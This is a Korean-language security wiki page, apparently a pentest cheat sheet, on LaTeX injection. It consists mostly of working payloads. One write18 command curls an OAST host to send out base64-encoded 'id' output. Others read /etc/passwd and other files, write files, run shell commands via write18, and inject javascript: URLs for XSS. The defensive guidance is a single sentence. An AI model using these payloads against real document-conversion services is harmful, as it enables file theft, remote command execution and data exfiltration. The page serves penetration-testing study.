LaTex Injection
Introduction
LaTex는 TeX 문법을 사용하는 typesetting system 으로 이를 처리하는 시스템에서 TeX 문법을 주입하여 공격자가 원하는 액션을 처리하도록 유도하는 것으로 LaTex Injection이라고 합니다.
TeX는 수학의 수식 등 특수한 형태를 띄는 글자를 쉽게 입력하고 사용하기 위한 문법으로 컴퓨터로 문서 작성을 위해 많이 사용되고 있습니다. 자세한 내용은 wikipedia의 TeX 문법 페이지를 보면 대략 어떤 내용인지 이해가 가능합니다.
Example
\frac{\pi}{2} = \int_{-1}^{1} \sqrt{1-x^2}\ dx
Offensive techniques
Detect
일반적으로 파일 변환 관련 기능에 존재할 가능성이 높습니다. 만약 LaTex를 처리할 수 있는 백엔드 로직이 있거나 의심가는 경우 LaTex 문법 위주로 Requset에 포함하여 반응을 살펴야합니다.
이 때 LaTex Injection 중 RCE 케이스는 OAST를 이용하면 판단할 수 있습니다.
\immediate/write18{curl http://<OAST> -X POST -d a=$(id|base64)}
Exploitation
Read file
\input
이나 \include
로 파을 읽을 수 있습니다.
\input{/etc/passwd}
\include{/etc/passwd}
Read single lined file
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Read multiple lined file
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
usepackage
로 다른 패키지를 로드하고, 해당 기능을 통해 읽을 수도 있습니다.
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Injection 된 부분이 document header를 지난 경우에는 아래와 같은 방법을 사용할 수 있습니다.
\catcode `\$=12
\catcode `\#=12
\catcode `\_=12
\catcode `\&=12
\input{path_to_script.pl}
Write file
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile
XSS
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Command execution
\immediate\write18{ifconfig > output}
\input{output}
Defensive techniques
가급적 사용자 입력이 LaTex에 영향을 주지 않도록 서비스를 구성해야하며, 사용자 입력을 사용해야하는 경우 특수문자에 대한 검증이 필요합니다.
Tools
- none
References
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection
- https://tex.stackexchange.com/questions/262625/security-latex-injection-hack
- https://en.wikibooks.org/wiki/LaTeX
- https://en.wikipedia.org/wiki/Help:Displaying_a_formula#LaTeX_basics
- https://github.com/joeraut/latex2image-web